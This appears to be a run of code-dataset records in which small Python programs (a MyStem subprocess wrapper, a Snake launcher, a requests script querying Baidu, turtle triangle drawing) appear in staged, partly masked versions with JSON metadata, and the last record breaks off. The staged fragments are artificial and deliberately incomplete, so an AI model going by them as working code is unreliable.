<|reserved_special_token_0|> def main(args): return run(args) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None ): """ Generic wrapper for MyStem """ mystem_path = mystem.util.find_mystem() if '-e' not in args: args.extend(['-e', 'utf-8']) p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr, stdin=fin) out_data, err_data = p.communicate(input=input_data) return p.returncode, out_data, err_data def main(args): return run(args) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None ): """ Generic wrapper for MyStem """ mystem_path = mystem.util.find_mystem() if '-e' not in args: args.extend(['-e', 'utf-8']) p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr, stdin=fin) out_data, err_data = p.communicate(input=input_data) return p.returncode, out_data, err_data def main(args): return run(args) if __name__ == '__main__': sys.exit(main(sys.argv[1:])[0]) <|reserved_special_token_1|> import sys import subprocess import mystem def run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None ): """ Generic wrapper for MyStem """ mystem_path = mystem.util.find_mystem() if '-e' not in args: args.extend(['-e', 'utf-8']) p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr, stdin=fin) out_data, err_data = p.communicate(input=input_data) return p.returncode, out_data, err_data def main(args): return run(args) if __name__ == '__main__': sys.exit(main(sys.argv[1:])[0]) <|reserved_special_token_1|> #!/usr/bin/env python import sys import subprocess import mystem def run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None): '''\ Generic wrapper for MyStem ''' mystem_path = mystem.util.find_mystem() # make utf-8 a default encoding if '-e' not in args: args.extend(["-e", "utf-8"]) p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr, stdin=fin) out_data, err_data = p.communicate(input=input_data) return p.returncode, out_data, err_data def main(args): return run(args) if __name__ == "__main__": sys.exit(main(sys.argv[1:])[0])
flexible
{ "blob_id": "d4a4ea67a06107ad7ea18bb21fb1ec9e74ccd7c1", "index": 7187, "step-1": "<mask token>\n\n\ndef main(args):\n return run(args)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None\n ):\n \"\"\" Generic wrapper for MyStem\n \"\"\"\n mystem_path = mystem.util.find_mystem()\n if '-e' not in args:\n args.extend(['-e', 'utf-8'])\n p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr,\n stdin=fin)\n out_data, err_data = p.communicate(input=input_data)\n return p.returncode, out_data, err_data\n\n\ndef main(args):\n return run(args)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None\n ):\n \"\"\" Generic wrapper for MyStem\n \"\"\"\n mystem_path = mystem.util.find_mystem()\n if '-e' not in args:\n args.extend(['-e', 'utf-8'])\n p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr,\n stdin=fin)\n out_data, err_data = p.communicate(input=input_data)\n return p.returncode, out_data, err_data\n\n\ndef main(args):\n return run(args)\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:])[0])\n", "step-4": "import sys\nimport subprocess\nimport mystem\n\n\ndef run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None\n ):\n \"\"\" Generic wrapper for MyStem\n \"\"\"\n mystem_path = mystem.util.find_mystem()\n if '-e' not in args:\n args.extend(['-e', 'utf-8'])\n p = subprocess.Popen([mystem_path] + args, stdout=fout, stderr=ferr,\n stdin=fin)\n out_data, err_data = p.communicate(input=input_data)\n return p.returncode, out_data, err_data\n\n\ndef main(args):\n return run(args)\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:])[0])\n", "step-5": "#!/usr/bin/env python\nimport sys\nimport subprocess\n\nimport mystem\n\ndef run(args, fin=sys.stdin, fout=sys.stdout, ferr=sys.stderr, input_data=None):\n '''\\\n Generic wrapper for MyStem\n '''\n mystem_path = mystem.util.find_mystem()\n\n # make utf-8 a default encoding\n if '-e' not in args:\n args.extend([\"-e\", \"utf-8\"])\n\n p = subprocess.Popen([mystem_path] + args,\n stdout=fout,\n stderr=ferr,\n stdin=fin)\n\n out_data, err_data = p.communicate(input=input_data)\n\n return p.returncode, out_data, err_data\n\n\ndef main(args):\n return run(args)\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv[1:])[0])\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if __name__ == '__main__': s = Snake() s.run() <|reserved_special_token_1|> from snake.snake import Snake if __name__ == '__main__': s = Snake() s.run() <|reserved_special_token_1|> from snake.snake import Snake # Start application if __name__ == '__main__': s = Snake() s.run()
flexible
{ "blob_id": "efed5c113e085e5b41d9169901c18c06111b9077", "index": 8894, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n s = Snake()\n s.run()\n", "step-3": "from snake.snake import Snake\nif __name__ == '__main__':\n s = Snake()\n s.run()\n", "step-4": "from snake.snake import Snake\n\n# Start application\nif __name__ == '__main__':\n s = Snake()\n s.run()", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(r.url) print(r.text) <|reserved_special_token_0|> print(r.text) print(r.url) <|reserved_special_token_0|> print(r.text) print(r) <|reserved_special_token_1|> <|reserved_special_token_0|> url = 'https://www.baidu.com' url = 'http://www.baidu.com/s?wd=python' r = requests.get(url) print(r.url) print(r.text) url = 'http://www.baidu.com/s' params = {'wd': 'python'} r = requests.get(url, params=params) print(r.text) print(r.url) data = {'key1': 'value1', 'key2': 'value2'} data = json.dumps(data) r = requests.post('https://www.baidu.com', data=data) print(r.text) print(r) <|reserved_special_token_1|> <|reserved_special_token_0|> import requests import json url = 'https://www.baidu.com' url = 'http://www.baidu.com/s?wd=python' r = requests.get(url) print(r.url) print(r.text) url = 'http://www.baidu.com/s' params = {'wd': 'python'} r = requests.get(url, params=params) print(r.text) print(r.url) data = {'key1': 'value1', 'key2': 'value2'} data = json.dumps(data) r = requests.post('https://www.baidu.com', data=data) print(r.text) print(r) <|reserved_special_token_1|> # coding=utf-8 """ @Author: Freshield @Contact: yangyufresh@163.com @File: a1_test_call.py @Time: 2021-01-20 17:40 @Last_update: 2021-01-20 17:40 @Desc: None @==============================================@ @ _____ _ _ _ _ @ @ | __|___ ___ ___| |_|_|___| |_| | @ @ | __| _| -_|_ -| | | -_| | . | @ @ |__| |_| |___|___|_|_|_|___|_|___| @ @ Freshield @ @==============================================@ """ import requests import json url = 'https://www.baidu.com' url = 'http://www.baidu.com/s?wd=python' r = requests.get(url) print(r.url) print(r.text) url = 'http://www.baidu.com/s' params = {'wd': 'python'} r = requests.get(url, params=params) print(r.text) print(r.url) data = {'key1': 'value1', 'key2': 'value2'} data = json.dumps(data) r = requests.post('https://www.baidu.com', data=data) print(r.text) print(r)
flexible
{ "blob_id": "325770130473153d092d3058587e9666625e12d0", "index": 5670, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(r.url)\nprint(r.text)\n<mask token>\nprint(r.text)\nprint(r.url)\n<mask token>\nprint(r.text)\nprint(r)\n", "step-3": "<mask token>\nurl = 'https://www.baidu.com'\nurl = 'http://www.baidu.com/s?wd=python'\nr = requests.get(url)\nprint(r.url)\nprint(r.text)\nurl = 'http://www.baidu.com/s'\nparams = {'wd': 'python'}\nr = requests.get(url, params=params)\nprint(r.text)\nprint(r.url)\ndata = {'key1': 'value1', 'key2': 'value2'}\ndata = json.dumps(data)\nr = requests.post('https://www.baidu.com', data=data)\nprint(r.text)\nprint(r)\n", "step-4": "<mask token>\nimport requests\nimport json\nurl = 'https://www.baidu.com'\nurl = 'http://www.baidu.com/s?wd=python'\nr = requests.get(url)\nprint(r.url)\nprint(r.text)\nurl = 'http://www.baidu.com/s'\nparams = {'wd': 'python'}\nr = requests.get(url, params=params)\nprint(r.text)\nprint(r.url)\ndata = {'key1': 'value1', 'key2': 'value2'}\ndata = json.dumps(data)\nr = requests.post('https://www.baidu.com', data=data)\nprint(r.text)\nprint(r)\n", "step-5": "# coding=utf-8\n\"\"\"\n@Author: Freshield\n@Contact: yangyufresh@163.com\n@File: a1_test_call.py\n@Time: 2021-01-20 17:40\n@Last_update: 2021-01-20 17:40\n@Desc: None\n@==============================================@\n@ _____ _ _ _ _ @\n@ | __|___ ___ ___| |_|_|___| |_| | @\n@ | __| _| -_|_ -| | | -_| | . | @\n@ |__| |_| |___|___|_|_|_|___|_|___| @\n@ Freshield @\n@==============================================@\n\"\"\"\nimport requests\nimport json\n\nurl = 'https://www.baidu.com'\nurl = 'http://www.baidu.com/s?wd=python'\n\nr = requests.get(url)\n\nprint(r.url)\nprint(r.text)\n\nurl = 'http://www.baidu.com/s'\nparams = {'wd': 'python'}\nr = requests.get(url, params=params)\nprint(r.text)\nprint(r.url)\n\ndata = {'key1': 'value1', 'key2': 'value2'}\ndata = json.dumps(data)\nr = requests.post('https://www.baidu.com', data=data)\nprint(r.text)\nprint(r)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def draw(): window = turtle.Screen() window.bgcolor('white') brad = turtle.Turtle() brad.shape('turtle') brad.color('blue') brad.speed(6) draw_triangle(brad) window.exitonclick() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def draw_triangle(brad): brad.color('blue', 'green') brad.fill(True) brad.forward(300) brad.left(120) brad.forward(300) brad.left(120) brad.forward(300) brad.end_fill() brad.fill(True) brad.left(180) brad.forward(150) brad.right(60) brad.forward(150) brad.right(120) brad.forward(150) brad.right(120) brad.forward(150) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(180) brad.forward(37.5) brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(37.5) brad.left(120) brad.forward(75 + 37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() def draw(): window = turtle.Screen() window.bgcolor('white') brad = turtle.Turtle() brad.shape('turtle') brad.color('blue') brad.speed(6) draw_triangle(brad) window.exitonclick() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def draw_triangle(brad): brad.color('blue', 'green') brad.fill(True) brad.forward(300) brad.left(120) brad.forward(300) brad.left(120) brad.forward(300) brad.end_fill() brad.fill(True) brad.left(180) brad.forward(150) brad.right(60) brad.forward(150) brad.right(120) brad.forward(150) brad.right(120) brad.forward(150) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(180) brad.forward(37.5) brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(37.5) brad.left(120) brad.forward(75 + 37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() def draw(): window = turtle.Screen() window.bgcolor('white') brad = turtle.Turtle() brad.shape('turtle') brad.color('blue') brad.speed(6) draw_triangle(brad) window.exitonclick() draw() <|reserved_special_token_1|> import turtle def draw_triangle(brad): brad.color('blue', 'green') brad.fill(True) brad.forward(300) brad.left(120) brad.forward(300) brad.left(120) brad.forward(300) brad.end_fill() brad.fill(True) brad.left(180) brad.forward(150) brad.right(60) brad.forward(150) brad.right(120) brad.forward(150) brad.right(120) brad.forward(150) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.color('blue', 'white') brad.fill(True) brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(180) brad.forward(37.5) brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.color('blue', 'white') brad.fill(True) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(75) brad.color('blue', 'white') brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(37.5) brad.left(120) brad.forward(75 + 37.5) brad.color('blue', 'white') brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() def draw(): window = turtle.Screen() window.bgcolor('white') brad = turtle.Turtle() brad.shape('turtle') brad.color('blue') brad.speed(6) draw_triangle(brad) window.exitonclick() draw() <|reserved_special_token_1|> import turtle def draw_triangle(brad): brad.color("blue", "green") brad.fill(True) brad.forward(300) brad.left(120) brad.forward(300) brad.left(120) brad.forward(300) brad.end_fill() #jdjjdd brad.color("blue", "white") brad.fill(True) brad.left(180) brad.forward(150) brad.right(60) brad.forward(150) brad.right(120) brad.forward(150) brad.right(120) brad.forward(150) brad.end_fill() brad.color("blue", "white") brad.fill(True) brad.left(180) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.right(60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(120) brad.forward(75) brad.right(60) brad.forward(75) brad.right(120) brad.forward(75) brad.right(120) brad.forward(75) brad.end_fill() brad.color("blue", "white") brad.fill(True) brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color("blue", "white") brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(60) brad.forward(37.5) brad.color("blue", "white") brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.right(180) brad.forward(37.5) brad.left(60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.color("blue", "white") brad.fill(True) brad.right(60) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() brad.left(180) brad.forward(37.5) brad.right(-60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(75) brad.color("blue", "white") brad.fill(True) brad.left(60) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.left(120) brad.forward(37.5) brad.end_fill() brad.right(-60) brad.forward(37.5) brad.left(120) brad.forward(75 + 37.5) brad.color("blue", "white") brad.fill(True) brad.left(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.right(120) brad.forward(37.5) brad.end_fill() def draw(): window = turtle.Screen() window.bgcolor("white") brad = turtle.Turtle() brad.shape("turtle") brad.color("blue") brad.speed(6) draw_triangle(brad) window.exitonclick() draw()
flexible
{ "blob_id": "33f766bf12a82e25e36537d9d3b745b2444e1fd7", "index": 7042, "step-1": "<mask token>\n\n\ndef draw():\n window = turtle.Screen()\n window.bgcolor('white')\n brad = turtle.Turtle()\n brad.shape('turtle')\n brad.color('blue')\n brad.speed(6)\n draw_triangle(brad)\n window.exitonclick()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef draw_triangle(brad):\n brad.color('blue', 'green')\n brad.fill(True)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.end_fill()\n brad.fill(True)\n brad.left(180)\n brad.forward(150)\n brad.right(60)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(180)\n brad.forward(37.5)\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(75 + 37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n\ndef draw():\n window = turtle.Screen()\n window.bgcolor('white')\n brad = turtle.Turtle()\n brad.shape('turtle')\n brad.color('blue')\n brad.speed(6)\n draw_triangle(brad)\n window.exitonclick()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef draw_triangle(brad):\n brad.color('blue', 'green')\n brad.fill(True)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.end_fill()\n brad.fill(True)\n brad.left(180)\n brad.forward(150)\n brad.right(60)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(180)\n brad.forward(37.5)\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(75 + 37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n\ndef draw():\n window = turtle.Screen()\n window.bgcolor('white')\n brad = turtle.Turtle()\n brad.shape('turtle')\n brad.color('blue')\n brad.speed(6)\n draw_triangle(brad)\n 